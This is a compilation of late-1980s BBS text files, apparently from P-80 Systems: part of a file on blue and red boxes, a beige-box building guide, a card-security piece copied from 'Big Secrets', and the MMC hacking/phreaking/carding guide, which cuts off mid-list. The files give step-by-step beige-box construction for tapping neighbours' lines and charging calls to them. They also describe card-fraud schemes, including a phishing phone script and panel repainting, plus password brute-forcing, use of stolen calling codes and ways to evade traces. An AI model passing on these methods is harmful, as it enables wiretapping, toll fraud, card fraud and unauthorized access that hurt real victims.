on an +AMA tape, Ma Bell simply monitored the line and the Blue Boxer was caught. +(Now do you understand why we opened with an explanation of the AMA machince?) +If the Blue Boxer worked from a telephone boothk, Ma Bell simply monitored the +booth. Ma Bell might not have known who originated the call, but she did know +who got the call, and getting that party to spill their guts was no problem. +The mob and a few Blue Box hobbyists (maybe even thousands) knew of the AMA +machine, and so they used a real telephone number for the KP skip. Their AMA +tapes looked perfectly legitimate. Even if Ma Bell had told the authorities +they could provide a list of direct-dialed calls made by local mobsters, the +AMA tapes would never show who was called through a Blue Box. For example, if +a bookmaker in New York wanted to lay off some action in Chicago, he could make +a legitimate call to a phone in New Jersey and then Blue Box to Chicago. Of +course, automatic tone monitoring, computerized billing, and ESS (Electronic +Switchin Systems) now make that all virtually impossible. but that's the way it +was. + You might wonder how Ma Bell discovered the tricks of the Blue Boxers. +Simple, they hired the perpetrators as consultants. While the initial +newspaper articles detailed the potential jail penalties for apprehended Blue +Boxers, except for Ma Bell employees who assisted a Blue Boxer, it is almost +impossible to find an article on the resolution of the cases because most +hobbyist Blue Boxers got suspended sentences and/or probation if they assisted +Ma Bell in developing anti-Blue Box techniques. It is asserted, although it +can't be easily proven, that cooperating ex-Blue Boxers were paid as +consultants. (If you can't beat them, hire them to work for you.) + Should you get any ideas about Blue Boxing, keep in mind that modern +switching equipment has the capacity to recognize unauthorized tones. It's the +reason why a local office can leave their subscriber Touch-Tone circuits +actives, almost inviting you to use the Touch-Tone service. A few days after +you use an unauthorized Touch-Tone service, the business office will call and +inquire whether you'd like to pay for the service or have it disconnected. The +very same central-office equipment that knows you're using Touch-Tone +frequencies knows if your line is originating CCITT signals. + +THE RED BOX + The Red Box was primarily used by the college crowd to avoid charges +when fequent calls were made between two particular locations, say the college +and a student's home. Unlike the somewhat complex circuitry of the Blue Box, a +Red Box was nothing more than a modified telephone; in some instances nothing +more than a capacitor, a momentary switch, and a battery. As you recall from + our discussion of the Blue Box, a telephone circuit is really +established before the target phone ever rings, and the circuit is capable of +carrying an AC signal in either direction. When the caller hears the ringing +in his or her handset, nothing is happening at the receiving end because the +ringing signal he hears is really a tone generator at his local telephone +office. The target (called) telephone actually gets it 20 pulses-per-second +ringing voltage when the person who dialed hears nothing--in the "dead" spaces +between hearing the ringing tone. When the called phone is answered and taken +off hook, the telephone completes a local-office DC loop that is the signal to +stop the ringing voltage. About three seconds later the DC loop results in a +signal being sent all the way back to the caller's AMA machine that the called +telephone was answered. Keep that three-second AMA delay in mind. (By now you +should have a pretty good idea of what's coming!) [I'm skipping a paragraph + talking about how a telephone circuit works. It is referring to a +simple phone schematic that isn't worth drawing, so I ommited the whole +paragraph - Cardiac] Now as we said earlier, the circuit can actually carry AC + before the DC loop is closed. The Red Box is simply a device that +provides a telephone with a local battery so that the phone can generate an AC +signal without having a DC connection to the telephone line. The earliest of +the Red Boxes was the surplus military field telephone, of which there were +thousands upon thousands in the marketplace during the 1950's and 1960's. The +field telephone was a portable telephone unit having a manual ringer worked by +a crank--just like the telephone Grandpa used on the farm--and two D-cells. A +selector switch set up the unit so that it could be connected to a combat +switchboard, with the DC power supplied by the switchboard. But if a combat +unit wasn't connected to a switchboard, and the Lieutenant yelled "Take a +wire," the signalman threw a switch on his field telephone that switched in the + local batteries. To prevent the possibility of having both ends of the +circuit feeding battery current into the line in opposite polarity--thereby +resulting in silence--the output from the field telephone when running from its +internal batteries was only the AC representing the voice input, not modulated +DC. [I ommited the next two paragraphs, which talk about how to make one. It +too has a complicated schematic, so I wont draw it. It's the same stuff you +get from any Red Box g-file - Cardiac] + +PRESS ONCE TO TALK + The Red Box was used at the receiving end; let's assume it's the old +homestead. The call was originated by Junior (or Sis) at their college 1000 +miles away from home. Joe gave the family one ring and then hung up, which +told them that he's calling. Pop set up the Red Box. Then Junior redialed the +old homestead. Pop lifted the handset when the phone rang. Then Pop closed a +momentary-switch for about a half-second, which caused the local telephone +office to silence the ringing signal. When Pop released the switch, the folks +cantalk to Junior without Junior getting charged because his AMA tape did not +show his call was answered--the DC loop must be closed for at least +three-seconds for the AMA tape to show Junior's call was answered. All the AMA +tape showed is that Junior let the phone ring at the old homestead for almost +30 minutes; a length of time that no Bell Operating Company is likely to +believe twice! + A modern Red Box is simpy a conventional telephone that's been modified to +emulate the vintage 1940 military field telephone. Aside from the fact that +the operating companies can now nail every Red Box user because all modern +billing equipment shows the AMA information concerning the length of time a +caller let the target phone ring, it's use has often put severe psychological +strain on the users. + [I ommited another paragraph here. It was just some closing stuff. +Nothing special - Cardiac] + There are no hard facts concerning how many Red Boxes were in use, or +how much money Ma Bell lost, but one thing is known: she had little difficulty +in closing down Red Boxes in virtually all instances where the old folks were +involved because Mom and Pop usually would not tolerate what to them was +stealing. If you as a reader have any ideas about using a Red Box, bear in +mind that the AMA machine (or it's equivilent) will get you every time, even if +you use a phone booth, because the record will show the number being called, +and as with the Blue Box, the people on the receiving end will spill their guts +to the cops. + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ + + The Mickey Mouse Club's Guide To + -+ Beige Boxing +- + + Written By : + Cardiac Arrest + [09/26/89] + +Introduction : Well, I KNOW that nearly everybody and their brother knows how +~~~~~~~~~~~~ to beige box, but what magazine is complete without a file as +basic as that. Anyways, if you know how to beige box, and consider yourself +master beiger, skip this and go on to the next file. Otherwise, I'll try to +help beginners and maybe give some experienced boxers food for thought. + +What IS Beige Boxing : If you've ever payed any attention to the phone +~~~~~~~~~~~~~~~~~~~~ company, you've definately seen a guy in funny Ma Bell +overalls running around with a funny-looking telephone with gator clips coming +out the bottom. That's the Ma Bell version of the "beige box", called a +Lineman's Handset. There are literally TONS of uses for a beige boxes, and +they are simple to make, so it's usually a good introduction to the phreaking +world. + +The Purpose Of This File : If even one person reads this file and learns +~~~~~~~~~~~~~~~~~~~~~~~~ something, I've accomplished what I set out to do +(how cliche, right?). But seriously, I'm going to attempt to provide several +easy methods of beige boxing. Some experienced beigers will definately see +some familiar designs, but they might also see a new twist or two. I'll also +include (hopefully) easy but complete directions of some of the possibilities +for use. + +Back To Reality : Ok, on with the file. There are about as many beige box +~~~~~~~~~~~~~~~ designs as there are uses, and with both, new ideas are +always popping up. The designs in this file are by no means the best designs. +I HOPE that they're some of the easiest, but who am I to say. + + +Method #1 (Generic, Phone Destroying, Design) + + Required Materials + 1 Telephone that you wont miss (it'll be a permanent beige box) + 2 Gator clips + 1 Telephone cord + 1 Screwdriver + 1 Pair of wire cutters + 1 Soldering iron + Solder + + Construction + 1. Open up the telephone with the screwdriver. I can't give exact + directions, because different models vary, but if you can't find + the screws, try checking under the plastic plate that holds the + phone number of the location. + + 2. Look at the modular jack (the thingy the phone cord plugs into). + Find the red and green wires. These are the ones you want. + Trace these wires with your finger to the screw that holds them + down. Connect your phone cord to these screws, either by + soldering them, or by wrapping them around the screw and + tightening it down. + + 3. Run the telephone cord out the modular jack's hole. If you can't + squeeze it through the jack, take the wire cutters the cut the + wires leading to it, and yank it out. That should leave planty + of room. + + 4. Re-assemble your phone. + + 5. At the end of the telephone cord hanging out of the phone, + connect the gator clips to the same wires hooked up to the screws + inside the housing of the phone. You can connect them either by + soldering, or by splicing the wire to them (twisting them around + the hole and praying that it holds). + + +Method #2 (A spin-off of #1, but less permanent) + + Required Materials + 1 Telephone (Don't worry, you wont wreck this one) + 1 Telephone cord (You can use one of the springy ones that you + always tangle up when you're on the phone) + 2 Gator clips + 1 Pair of wire cutters + 1 Soldering iron + Solder + + Construction + 1. Cut the modular plug (the thing that plugs into the wall or + telephone set) off ONE end of the telephone cord. + + 2. Find the red and green wires and connect the gator clips to + these by soldering or splicing them. + + 3. Connect the other end (the that still has a plug) to a telephone. + + +Method #3 (Similar to #2, but using a wall jack instead of a cord) + + Required Materials + 1 Telephone (This wont get wrecked, either) + 1 Modular telephone wall jack (This WILL get wrecked) + 2 Gator clips + 1 Pair of wire cutters + 1 Soldering iron + Solder + + Construction + 1. Look on the back of the wall jack. You should see the typical + red and green wires going into the back of the jack. Leave the + end going into the jack alone, but trace them to where the go + into the plate holding the jack. Cut them here (being sure, as I + said, to leave the jack end alone). + + 2. Hook the gator clips up to the red/green wires. + + 3. Plug the phone into the wall jack. + + +Testing Your Box : Ok, now that you've got one of the boxes described above +~~~~~~~~~~~~~~~~ (or a different one...I really don't care), you ready to +go. Go outside, and on the side of your house, you should be able to find a +small, approximately 3" X 3", puke-green box, with a bolt in the middle of it. +Take a wrench (I'm not sure what the size is, but a 10mm wrench works for me, +and that's all I really care about. But be careful, since it's not exact, you +might strip it) and take off the bolt. You'll probably have to clear out some +cobwebs, since it hasn't been used in a while. Inside the box, you should see +four screws (one on each corner) with the typical red/green wires connected to +them. (If you have two phone lines, the bottom screws will have black/yellow +wires, if you have one phone line, the bottom wont have any). You can probably +guess what happens from here--Hook the gator clips up to the screws. You +should get a dial tone. If you didn't, make sure the connection is clean, that +you're hooked up to the right terminals(screws), etc. If you still don't get +one, you're screwed. That means there's something wrong with your box. If you +do get a dial tone, you're probably guessing what you can do from here. + + +Where Can You Use The Beige Box : You can use the beige box on several pieces +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ of equipment. You can go to you're best +friend's house and use it like I described. You can open up one of those ugly +green boxes about 3' high in the back yard of every couple houses. Inside +you'll see pretty much the same thing as at individual houses, only there's +several houses running through the box, not just yours. I have heard that you +can use a beige inside a Ma Bell manhole, but I crawled down one (not fun) and +there was a huge plastic tube. You can see the telephone wires inside, but I +have no idea how to get to them. There are definately more uses, but these are +the ones I've been exposed to. + +The Box Of Many Uses : As I've mentioned, there are TONS of uses for beige +~~~~~~~~~~~~~~~~~~~~ boxes, and the ones I explain are merely the ones I've +had some fun with. It's all basically the same, but there are some interesting +twists. + + +Conferences : Definately one of the funnest. It's easier to do than explain, +~~~~~~~~~~~ but I'll give it a shot. First, call up a conference service +(I'll list them in a second). From here, you'll pretty much get instructions +(at least on the ones I've used). Basically, you call up your buddies, tell +them what's going on, and hit a key (usually *) and they get put into the +conference. From there, you and all your friends can all talk to each other, +trade codes, etc. Get the idea? (You can even call foreign numbers. On our +conference, we voiced a user from Italy and called a hotel in Madrid for +someone to practice Spanish....) + + Conference Services : + + 0-700-456-1000 + 0-700-456-1001 + 0-700-456-1002 + 0-700-456-1003 + 0-700-456-1004 + 0-700-456-2000 + 0-700-456-2001 + 0-700-456-2002 + 0-700-456-2003 + 0-700-456-2004 + + +Tapping : If you hook up your beige box, and hear voices, the rightful owner +~~~~~~~ of the line is obviously using it. Well, that's about all there is +to phone tapping. Just shut up and listen. + +L/D Calling : Hey, it's not YOUR bill, so go ahead and call your pal in +~~~~~~~~~~~ France. Maybe voice verify some users on your BBS.... + +Dial-A-Porn : Hey, wait!! How'd that get in here? +~~~~~~~~~~~ + +Conclusion : That's about it. I wont pretend to be an expert on beige boxes, +~~~~~~~~~~ so I wont say that these are the limits, or that these are the +best methods. I'm just trying to provide a non-technical introduction to +phreaking. Well, if anyone has any comments, questions, or come up with any +new ideas, let me know. + + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ +=============================================================================== + Basic Information About Credit Cards +=============================================================================== + + There are at least three types of security devices on credit cards that +you aren't supposed to know about. They are the account number, the signature +panel, and the magnetic strip. + + + The Account Number + ------------------ + A Social Security card has nine digits. So do two-part Zip codes. +A domestic phone number, including area code, has ten digits. Yet a +complete MasterCard number has twenty digits. Why so many? + It is not mathematically necessary for any credit-card account number +to have more than eight digits. Each cardholder must, of course, have a +unique number. Visa and MasterCard are estimated to have about sixty-five +million cardholders each. Thus their numbering systems must have at least +sixty-five million available numbers. + There are one hundred million possible conbinations of eight digits-- +00000000, 00000001, 00000002, 00000003, all the way up to 99999999. So +eight digits would be enough. To allow for future growth, an issuer the +size of Visa of MaserCard could opt for nine digits---enough for a billion +differnt numbers. + In fact, a Visa card has thirteen digits and sometimes more. An +American Express card has fifteen digits. Diners Club cards have fourteen. +Carte Blanche has ten. Obviously, the card issuers are not projecting +that they will have billions and billions of cardholders and need those +digits to ensure a different number for each. The extra digits are actually +a security device. + Say your Visa number is 4211 503 417 268. Each purchase must be +entered into a computer from a sales slip. The account number tags the +purchase to your account. The persons who enter account numbers into +computers get bored and sometimes make mistakes. They might enter +4211 503 471 268 or 4211 703 417 268 instead. + The advantage of the thirteen-digit numbering system is that it is +unlikely any Visa cardholder has 4211 503 471 268 or 4211 703 417 268 +for an account number. There are 10 trillion possible thirteen-digit +Visa numbers (0000 000 000 000;0000 000 000 0001;... 9999 999 999 999). +Only about sixty-five million of those numbers are numbers of actual +active accounts. The odds that an incorrectly entered number would +correspond to a real number are something like sixty-five million in +ten trillion, or about one in one hundred and fifty thousand. + Those are slim odds. You could fill up a book the size of this one +{note, book is 228 pgs long} with random thirteen-digit numbers such as +these: + + 3901 160 943 791 + 1090 734 231 410 + 1783 205 995 561 + 9542 425 195 969 + 2358 862 307 845 + 9940 880 814 778 + 8421 456 150 662 + 9910 441 036 483 + 3167 186 869 267 + 6081 132 670 781 + 1228 190 300 350 + 4563 351 105 207 + +Still you would not duplicate a Visa account number. Whenever an account +number is entered incorrectly, iw will almose certainly fail to match up +with any of the other account nubmers in the computer's memory. The +computer can then request that the number be entered again. + Other card-numbering systems are even more secure. Of the quadrillion +possible fifteen-digit American Express card numbers, only about 11 million +are assigned. The chance of a random number happening to correspond to an +existing account number is about one in ninety million. Taking into account +all twenty digits on a MasterCard, there are one hundred quintillion +(100,000,000,000,000,000,000) possible numvers for sixy-five million card- +holders. The chance of a random string of digits matching a real MasterCard +number is about one in one and a half trillion. + Among other things, this makes possible those television ads inviting +holders of credit cards to phone in to order merchandise. The operators +who take the calls never see the callers' cards nor their signatures. +How can they be sure the callers even have credit cards? + They base their confidence on the security of the credit-card numbering +systems. If someone calls in and makes up a creditcard number--even being +careful to get the right number of digits--the number surely will not be +an existing real credit-card number. The deception can be spotted instantly +by plugging into the credit-card company's computers. For all practical +purposes, the only way to come up with a genuine credit-card number is to +read it off a credit card. The number, not the piece of plastic, is +enough. + + + Neiman-Marcus' Garbage Can + -------------------------- +The converse of this is the fact that anyone who knows someone else's card +number can charge to that person's account. Police sources say this is a +major problem, but card issuers, by and large, do their best to keep these +crimes a secret. The fear is that publicizing the crimes may tempt more +people to commit them. Worse yet, there is alomost nothing the average +person can do to prevent being victimized {muhaha} -- short of giving up +credit cards entirely. + Lots of strangers know your credit-card numbers. Everyone you hand +a card to--waiters, sales clerks, ticket agents, hairdressers, gas station +attendants, hotel cashiers--sees the account number. Every time a card is +put in an imprinter, three copies are made, and two are left with the clerk. +If you charge anything by phone or mail order, someone somewhere sees the +number. + Crooks don't have to be in a job with normal access to creditcard numbers. +Occasional operations have discovered that the garbage cans outside prestige +department or specialty stores are sources of high-credit-limit account +numbers. The crooks look for the discarded carbon paper from sales slips. +The account number is usually legible--as are the expiration date, name, +and signature. (A 1981 operation used carbons from Koontz Hardware, a +West Hollywood, California, store frequented by many celebrities.) + Converting a number into cash is less risky than using a stolen +credit card. The crook need only call an airline, posing as the cardholder, +and make a reservation on a heavily traveled flight. He usually requests +that tickets be issued in someone else's name for pickup at the airport +(airlines don't always ask for ID on ticket pickups, but the crook has it +if needed) and is set. The tickets can be sold at a discount on the hot- +ticket market operating in every major airport. + There are other methods as well. Anyone with a Visa or MasterCard +merchant account can fill out invoices for nonexistent sales and submit +them to the bank. As long as the account numbers and names are genuine, +the bank will pay the merchant immediately. + For an investment of about a thousand dollars, an organized criminal +operation can get the pressing machines needed to make counterfeit credit +cards. Counterfeiting credit cards in relatively simple. There are no +fancy scrolls and filigree work, just blocky logos in primary colors. +From the criminal's standpoint, the main advantage of a counterfeit card +is that it allows him to get cash advances. For maximum plundering of a +line of credit, the crook must know the credit limit as well as the account +number. To learn both, he often calls an intended victim, posing as the +victim's bank: + + CROOK: This is Bank of America. We're calling to tell you that the + credit limit on your Visa card has been raised to twelve + hundred dollars. + VICTIM: But my limit has always been ten thousand dollars. + CROOK: There must be some problem with the computers. Do you have + your card handy? Could you read off the embossed number? + + + On a smaller scale, many struggling rock groups have discovered the +knack of using someone else's telephone company credit card. When a +cardholder wants to make a long-distance call from a hotel or pay phone, +he or she reads the card number to the operator. The call is then billed +to the cardholder's home phone. Musicians on tour sometimes wait by the +special credit-card-and-collect-calls-only booths at airports and jot +down a few credit card numbers. In this way, unsuspecting businesspeople +finance a touring act's calls to friends at home. If the musicians call +from public phones, use a given card number only once, and don't stay +in one city long, the phone company seems helpless to stop them. + What makes all of these scams so hard to combat is the lead +time afforded the criminal. Theft of a credit card--a crime that +card issuers will talk about--is generally reported immediately. +Within twenty-four hours, a stolen card's number is on the issuer's +"hot list" and can no longer be used. But when only a card number is +being used illicitly, the crime is not discovered until the +cardholder recieves his first inflated bill. That's at least two +weeks later; it could be as much as six weeks later. As long as the +illicit user isn't too greedy, he has at least two weeks to tap into +a credit line with little risk. + + + The Signature Panel + ------------------- + You're now supposed to erase the signature panel, of course. Card +issuers fear that crooks might erase the signature on a stolen credit +card and replace it with their own. To make alteration more difficult, +many card signature panels have a background design that rubs off if +anyone tries to erase. There's the "fingerprint" design on the American +Express panel, repeated Visa or MasterCard logos on some bank cards, and the +"Safesig" desgn on others. The principle is the same as with the security +paper used for checks. If you try to earse a check on security paper, the +wavy-line pattern erases, leaving a white area-- and it is obvious that the +check has been altered. + Rumors hint of a more elaborate gimmick in credit-card panels. +It is said that if you erase the panel, a secret word--VOID--appears +to prevent use of the card. To test this rumor, fifteen common credit +cards were sacrificed. + An ordinary pen eraser will erase credit-card signature panels, if +slowly. The panels are more easily removed with a cloth and a dry-cleaning +fluid such as Energine. This method dissolves the panels cleanly. Of the +fifteen cards tested, six had nothing under the panel(other than a +continuation of the card back design, where there was one). Nine cards +tested had the word "VOID" under the panel. In all cases, the VOIDs +were printeed small and repeated many times under the panel. The breakdown: + + Void Device Nothing + -------------------------------------- + Bloomingdale's American Express Gold Card + Bonwit Teller Broadway + Bullock's MasterCard(Citibank) + Chase Convenience B.C. Neiman-Marcus + I. Magnin Robinson's + Joseph Magnin Saks Fifth Avenue + First Interstate B.C. + Montgomery Ward + Visa (Chase Manhattan) + + +When held to a strond light, the VOIDs were visible through the Blooming- +dales's card even without removing the panel. + The VOID device isn't foolproof. Any crimianl who learns the secret +will simply refrain from trying to earse the signature. Most salesclerks +don't bother to check signatures anyway. + Moreover, it is possible to paint the signature panel back in, over +the VOIDs--at least on those cards that do not have a design on the +panel. (Saks' panel is a greenish-tan khaki coler that would be difficult +to match with paint.) The panel is first removed with dry-cleaning fluid. +The back of the card is covered with masking tape, leaving a window where +the replacement panel is to go. A thin coat of flat white spray paint +simulates the original panel. + + + The Magnetic Strip + ------------------ + + The other security device on the back of the card, the brown magnetic +strip, is more difficult to analyze. Some people think there are sundry +personal details about the cardholder stored in the strip. But the +strip has no more information capacitythan a similar snippet of recording tape. +For the most part banks are reticent about the strip. + + The strip need not contain any information other than the account +number or similar indentification. Any futher information needed to +complete an automatic-teller transaction-- such as current account +balances--can be called up from bank computers and need not be encoded +in the strip. + Evidently, the card expiration date is in the strip. Expired cards +are "eaten" by automatic-teller machines even when the expired card has +the same account number and name as its valid replacement card. Credit +limit, address, phone number, employer, etc, must not be indicated in +this strip, for banks do not issue new cards just because this info changes. + It is not clear if the personal identification number is in the strip +or called up from the bank computer. Many automatic-teller machines have +a secret limit of three attempts for provideing the correct personal +identification nubmer. After three wround attempts, the "customer" is +assumed to be a crook with a stolen card, going through all possible +permutations--and the card is eaten. + It is possible to scramble the information in the strip by rubbing +a pocket magnet over it. Workers in hspitals or research facilites with +large electromagnets sometimes find that their cards no longer work in +automatic-teller machines. (If you try to use a magnetically doctored +card, you usually get a message to the effect, "Your card may be inserted +incorrectly. Please remove and insert according to the diagram.") + + + The Bloomingdale's Color Code + ----------------------------- + Only in a few cases does the color of a credit card mean anything. +There are, of course, the American Express, Visa, and MasterCard gold +cards for preferred customers. The Air Travel Card comes in red and green, of +which green is better. (With red, you can charge tickets for travel within +North America only.) The most elaborate color scheme, and a source of some +confusion to status-conscious queues, is that of Bloomingdale's credit +department, here is how it works: Low color in the pecking order is blue, +issued to Bloomingdale employees as a perk in their compensation packages. The +basic Bloomingdale card is yellow. Like most department store cards, it can be +used to spread payments over several months with the payment of a finance +charge. The red card gives holders three months' free interest and is issued +to customers who regularly make large purchases. The silver card is good for +unlimited spending, but as with a travel and entertainment card, all charges +must be paid in thirty days. The gold card offers the same payment options as +the yellow card but is reserved for the store's biggest spenders. + + + The End + --------------------------------------------------------------------------- +Comments and Acknowledgements- + + The above has been copied from "Big Secrets" WITHOUT permission. + Big Secrets is written by Willian Poundstone. This is a great + book that tells you hundreds of things you weren't suppose to + find out about. The above artical, was only 5 pages out of + a book 288 pages long! He also has a new book out called + "Bigger Secrets", which is also good. You can find both at + almost anybook store, they should be able to special order it. + + Well it's now midnight, and i'm getting tried... so I hope + you have enjoyed this artical, if you wanna talk to me I'm + on many boards all over the country. Well later, i'm gonna go + watch Star Trek the Next Generation... + + The above was written by + The + /\/\idnight + Caller + + a.k.a. + Pizzia Man + + + + + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + The Mickey Mouse Club + + Presents....... + + The M.M.C. Guide to Hacking, Phreaking, Carding + + By: The Dark Lord + + + Introduction: + ~~~~~~~~~~~~~~ + This is a text file is made by The Mickey Mouse Club and we ask + that it would be distibuted to others for their use. This file is going to + go into depth on how to hack, phreak, and card. There will be information + that should help everyone, hopefully!! + + + + + Hacking: + ~~~~~~~~~~ + Hacking is a long hard process, unless you get lucky. There are many + programs and aids out to make the job a lot easier, but the concept is + the same no matter how you use it. First, at least on most things that you + hack, you need to get some type of account or vacancy, etc... This is done + by randomly entering numbers and or letters until you come up with the + proper combination to find the account. Knowing the size of the account + number makes this job one-hundred times easier. Thats why I suggest you + find out from someone who allready has one or card one. By carding the + account, it will die quickly but at least it will give you the length + of the account numbers (More on that topic will be expained in the carding + section). The accound numbers, do not always just contain numbers or have + numbers at all in it. If it has a mix, it makes it a hell of a lot harder + to get. You will just have to experiment to find out what charactors are + contained in the account. Some Examples of ones that do have mixes of + numbers and letters would be Pc Persuit accounts. The forms of them are + usuall as such: + + Account: Pgp014764g + Password: 23632k + + It looks from these that you are pretty much screw because of the way + letters are mixed with numbers, thats what makes having a program so much + easier. In a lot of circumstances, getting the account is the hardest part + that is why having a good background of the system is a major plus in your + favor. + Once you have got the account, it is time to get the password for this + account. Once again having the length and such makes this process not only + easier, but faster. just keep entering random passwords of the length or + the thought length in until you get a stoke of luck and get it. You MUST + remember that 99.5 out of 100 times, this is a long process, and you have + to have patience. If you don't you might as well forget ever getting on + to the system or have someone else do it for you. Once you have gotten + the password, look it over long and hard. Write it down and keep it, + examine it. 99% of the time there is a pattern to all the account + passwords. Things to look at is the password in reference to the account + number. check to see if things have been added to the end or beginning + like 00 or 01 or 99 of 0010 thing like that. If you see no relations, + the only other way to really find out the pattern in to get another one. + Look at both of them together, see if there the same or it account 400's + password is 3456 and 402's password is 3458 (they go in order) then just + those as a reference to other passwords, take away so much from accounts + with a lower number and add the required amounts to accounts with a higher + number, etc.... But bassicly, LOOK FOR A PATTERN! Once you have got the + password and the account, you have got yourself a passage way in. + Although this is what you do to succeed, you have to take + many precautions. They do NOT like us messing with the system and they + obviously want you to pay just like the others, so they will take necessary + means to nail you. They trace like you wouldn't belive. They will trace + right as you get on, if you happen to be unlucky, you will never know when + they are doing it either, you must ALWAYS be aware of the dangers and take + precautions!!! Even on things that you wouldn't think that they would trace + you but, be carfull. Whether they trace depends on a couple of things, here + are a few major ones: + + 1. There bank balance + 2. There desire to catch you + 3. The amount of infestation in there system + + There are things that you can do to protect yourself, these are not all + of them and none of them are sure fire ways, but hey, cutting down your + chances of getting caught makes a world of difference, because remember, + All the fun is taken away if you caught. Some things to do to protect + yourself is: + + 1. Use a diverter + 2. Use false information about you + 3. Never stay On-line too long + 4. Call during late or early hours, were there is most likely no one + monitoring the system + 5. Don't call frequently or during the same hours, regulate it + + Once again these are not all of them but these are some of the "More" + helpfull things. If you follow all the step, you can reduce the change of + getting caught by about 40%. + If you do get caught there is not a whole lot that you can do, but some + tips are, first, don't reveal any information on what you have done. Deny + all charges. Sencond, plea bargin with knowladge of things, like hacked + sytems etc.. But never admit that you did it. Three, and most important, + get a GOOD LAWYER!!!!!!! + + + DIFFERENT TYPES OF SYSTEMS: + + Pc Persuit Cp\m + Trw + Unix + Vmb + Vms + + These are just a few systems, if I made a complete list There would + be pratically no end to it, there are millions. + + + + + + + + + + Phreaking: +~~~~~~~~~~~~ + + Phreaking, Ahhhwwww, the wonderfull world of phreaking. Well to start + with Phreaking is "The use of Telecommunications to others besides people + of the Phone Company". Well thats my version of the definition at least. + Using codes is wuit easy, there are different parts to it, the Dial-up, + the code, and the number. First you will have to dial in the dial-up and + on most dial ups you will get a tone or a buzz or click or something to + that effect. Once you hear this, and you will know when you hear it you + dial in the code. Sometime you will get another tone or beep etc. and when + you do that is when you dial in the number. If you do not get another tone + or whatever you just dial in the number right after you enter the code. + You might have to have a test dial up to see how the tones go. + In dialing the number once agian the nubers differ. You must enter the + area code and then the nuber. Some require that you have a one before the + area code but most that I have used do not. You can tell if the code worked + right after the number has been put in not just by the error recording that + you get but if right off the bat the phone begins to ring, it doesn't work. + A code can also be busy. If it is busy it could mean that the code is + dead or that too many people are using it at once. You might experiance + this often. + There are numbers that make phreaking much safer, they are called + diverters. What the do is when the number that you have dial is being + traced it diverts it to that number. Unless this is virgin or nobody else + uses it, you will find that with in a couple of days after it is out, it + will be busy, that is the annoyance about diverters, and they are also hard + to get. + Hacking is also put into play in phreaking by using programs to get + dial ups and the codes. Getting these are done in the same way you hack + anything else. Just get a program like code thief or code hacker, or make + one yourself, it is quite easy. + There is a danger with useing the codes. If you hack a code yourself, + not just the code but the dial up amd no one else has it you can pretty well + bet that it is safe. A newly hacked dial-up/code is considered "Virgin". + those Ma bell is not having the problem with people phreaking off of it + so they don't bother doing anything with it. But after a while, it will + either Die (No Longer work) or they will start tracing off of it. The + whole pain about it is, is you will never positively no when they started + doing traces or things like that. The codes might be being traced but you + are getting the luck of the draw. On most codes they don't trace on every + call, they just file it away and watch for like the 50th or 100th caller + and then that person gets nailed. You might think if they do trace every + 100 calls, that means you have a 1 in 100 chance of getting caught and those + are really good odds. Well the odd is 100 to 1 but the is a lot of people + that live in areas that they can call with that code. If you figure about + 10 million people could use it then about 100,000 of them are. 100,000, + hummmmmmm, how odes your odds look now. In a couple minute time spand + 99 peoplecould have used it, and lucky you might be the 100th caller. A + lot of times the take like every hundered calls and then when they get the + 100th caller, that don't just trace one, they trace 100, 101, 102, 103, 104 + 200, 201, 202 etc. So you chances of getting caught when the heat is on + the code is pretty good. There are a couple different types of codes and + the two major ones are 1-800's and 950's. 800's can pretty much be dialed + from anywhere in the states, but 950's stay in certain areas. Some 950 + dial ups are: + + 9501001 + 9500266 + 9500355 + 9501388 + + And there are others, but like take me for example, where I live you + cannot use 9500266. It will tell you that you cannot use that number from + your dialing range or it just won't work. You might get to the point where + the dial-up works but not the code. If this is the case it will say: + "Invalid authorization Code" + + Some examples of 1-800's are as follows: + + 1-800-255-2255 + 1-800-759-2345 + 1-800-959-8255 + + There are many others but those are just a few, very few. There are + also 1-800's and others that will send you directly to the operator, you + must tell her the code and the number you are dialing. These are NEVER + safe to use. but in one case they are alot better. I am out of town a lot + so I have to use pay phones right? Well, you are safe with anything with + pay phones, so that is a good way to call people. The real good thing + them though, is since you must go throught th operator, the codes stay valid + for up to 10 times as long as the others. But thenm again another draw back + is it is not a line that you want to give real names or numbers over. + Because these are often tapped, since the operator know that you used the + code, they will listen in quite often, and you will never even notice. + Another problem experianced with them is if you are what MMC calls + "Petite Flowers", + our home made word for, someone that sounds like a little kid, then they + really give you a hastle about using the code. + I have had a lot of people ask me if the person you are calling with the + codes can get busted. The answer is "No". They cannot do anything to the + person, just ask him who is calling him with the codes, and they rarely do + that. Just let the person you are talking to, if they don't already know, + not to tell anyone that you are calling with the codes. The phone + companies do have to option of setting up a trace on that persons line and + bust you when you do call him with a code. I have never seen this done but + do be aware that the phone companies are made up of intellegent adults and + they are very smart and can and will nail you in many ways. + I am a firm beliver that you should share a the information that you + other phreakers and hackers as they should do the same with you. I also + see an execption, inexperianced people. They can run it for everyone be not + have the knowladge and screwing up. I realize that they need someway to + build themselves up to a good phreaker but be cautions in what you give to + them. + Codes die really often and you really have to keep up with the phone + company. Its kinda of a pain to keep up with it on your own as quickly as + they work but thats why there is phreaking communities and groups such + as Fhp and MMC, the gives the edge to the phreakers in the way that, you + have help in keeping up with the phone companies, and in most cases if + the groups or communities are working well together, you can eve stay + one step ahead of good 'ole Ma bell and others. You really need to find + ways of getting codes either from getting acess to the phreaking sections + on the pirate boards you call or throught friends, Vmb's Loops, Confrences, + etc., just try to find a good connection to people that are into phreaking + too. + + + + + + + + + + Carding: +~~~~~~~~~~ + + + + Although everything talked about in the text file to this point is + illegal, and you will get busted if you get caught, this is one one the + one that you can get in some major shit over. About the only thing I have + talked about that this falls short of is hacking a government compter, and + thats one of the Grand daddies of them all. Well, although it is a major + crime, it is really cool!!!! This is the process in which you find the card + number of someone and use it to purchase things. In order to card, there + are a few things that you must have or it will not work. You will need to + have........ + + 1. The 